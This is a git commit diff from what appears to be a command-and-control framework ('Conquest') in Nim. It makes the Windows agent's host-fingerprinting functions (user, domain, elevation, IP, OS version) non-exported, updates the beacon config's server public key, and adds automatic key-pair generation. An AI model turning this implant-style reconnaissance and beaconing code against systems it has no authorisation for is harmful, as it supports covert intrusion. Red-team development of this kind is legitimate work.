Updated key management to create a new private key file if no existing one is found.

This commit is contained in:
Jakob Friedl
2025-07-24 22:34:12 +02:00
parent 3e9178ec34
commit dcf6285a2a
5 changed files with 48 additions and 46 deletions

View File

@@ -1,12 +1,6 @@
# Conquest Agents # Conquest Agents
For cross-compilation from UNIX to Windows, use the following command: For cross-compilation from UNIX to Windows, use:
```bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim
```
or
``` ```
./build.sh ./build.sh

View File

@@ -3,7 +3,7 @@ import winim, os, net, strformat, strutils, registry, sugar
import ../../../common/[types, serialize, crypto, utils] import ../../../common/[types, serialize, crypto, utils]
# Hostname/Computername # Hostname/Computername
proc getHostname*(): string = proc getHostname(): string =
var var
buffer = newWString(CNLEN + 1) buffer = newWString(CNLEN + 1)
dwSize = DWORD buffer.len dwSize = DWORD buffer.len
@@ -12,7 +12,7 @@ proc getHostname*(): string =
return $buffer[0 ..< int(dwSize)] return $buffer[0 ..< int(dwSize)]
# Domain Name # Domain Name
proc getDomain*(): string = proc getDomain(): string =
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format) const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
var var
buffer = newWString(UNLEN + 1) buffer = newWString(UNLEN + 1)
@@ -22,7 +22,7 @@ proc getDomain*(): string =
return $buffer[ 0 ..< int(dwSize)] return $buffer[ 0 ..< int(dwSize)]
# Username # Username
proc getUsername*(): string = proc getUsername(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format) const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var var
@@ -39,7 +39,7 @@ proc getUsername*(): string =
return $buffer[0 ..< int(dwSize)] return $buffer[0 ..< int(dwSize)]
# Current process name # Current process name
proc getProcessExe*(): string = proc getProcessExe(): string =
let let
hProcess: HANDLE = GetCurrentProcess() hProcess: HANDLE = GetCurrentProcess()
buffer = newWString(MAX_PATH + 1) buffer = newWString(MAX_PATH + 1)
@@ -54,42 +54,42 @@ proc getProcessExe*(): string =
CloseHandle(hProcess) CloseHandle(hProcess)
# Current process ID # Current process ID
proc getProcessId*(): int = proc getProcessId(): int =
return int(GetCurrentProcessId()) return int(GetCurrentProcessId())
# Current process elevation/integrity level # Current process elevation/integrity level
proc isElevated*(): bool = proc isElevated(): bool =
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges # isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
return isAdmin() return isAdmin()
# IPv4 Address (Internal) # IPv4 Address (Internal)
proc getIPv4Address*(): string = proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent # getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr() return $getPrimaryIpAddr()
# Windows Version fingerprinting # Windows Version fingerprinting
type type
ProductType* = enum ProductType = enum
UNKNOWN = 0 UNKNOWN = 0
WORKSTATION = 1 WORKSTATION = 1
DC = 2 DC = 2
SERVER = 3 SERVER = 3
# API Structs # API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG dwOSVersionInfoSize: ULONG
dwMajorVersion*: ULONG dwMajorVersion: ULONG
dwMinorVersion*: ULONG dwMinorVersion: ULONG
dwBuildNumber*: ULONG dwBuildNumber: ULONG
dwPlatformId*: ULONG dwPlatformId: ULONG
szCSDVersion*: array[128, WCHAR] szCSDVersion: array[128, WCHAR]
wServicePackMajor*: USHORT wServicePackMajor: USHORT
wServicePackMinor*: USHORT wServicePackMinor: USHORT
wSuiteMask*: USHORT wSuiteMask: USHORT
wProductType*: UCHAR wProductType: UCHAR
wReserved*: UCHAR wReserved: UCHAR
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let let
major = info.dwMajorVersion major = info.dwMajorVersion
minor = info.dwMinorVersion minor = info.dwMinorVersion
@@ -170,7 +170,7 @@ proc getProductType(): ProductType =
of "LanmanNT": of "LanmanNT":
return DC return DC
proc getOSVersion*(): string = proc getOSVersion(): string =
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}

View File

@@ -6,4 +6,4 @@
-d:Octet4="1" -d:Octet4="1"
-d:ListenerPort=9999 -d:ListenerPort=9999
-d:SleepDelay=5 -d:SleepDelay=5
-d:ServerPublicKey="oxrOv1HwX1BKvMB0iVLTA0Kfc9Iit4NzP5g8NekvNUs=" -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="

View File

@@ -118,21 +118,6 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
return key return key
# Key management # Key management
proc loadKeyPair*(keyFile: string): KeyPair =
let file = open(keyFile, fmRead)
defer: file.close()
var privateKey: Key
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
if bytesRead != sizeof(Key):
raise newException(ValueError, "Invalid key length.")
return KeyPair(
privateKey: privateKey,
publicKey: getPublicKey(privateKey)
)
proc writeKeyToDisk*(keyFile: string, key: Key) = proc writeKeyToDisk*(keyFile: string, key: Key) =
let file = open(keyFile, fmWrite) let file = open(keyFile, fmWrite)
defer: file.close() defer: file.close()
@@ -141,3 +126,26 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
if bytesWritten != sizeof(Key): if bytesWritten != sizeof(Key):
raise newException(ValueError, "Invalid key length.") raise newException(ValueError, "Invalid key length.")
proc loadKeyPair*(keyFile: string): KeyPair =
try:
let file = open(keyFile, fmRead)
defer: file.close()
var privateKey: Key
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
if bytesRead != sizeof(Key):
raise newException(ValueError, "Invalid key length.")
return KeyPair(
privateKey: privateKey,
publicKey: getPublicKey(privateKey)
)
# Create a new key pair if the private key file is not found
except IOError:
let keyPair = generateKeyPair()
writeKeyToDisk(keyFile, keyPair.privateKey)
return keyPair

View File

@@ -150,7 +150,7 @@ proc startServer*() =
# Initialize framework # Initialize framework
try: try:
cq = initConquest() cq = initConquest()
except CatchableError as err: except CatchableError as err:
echo err.msg echo err.msg
quit(0) quit(0)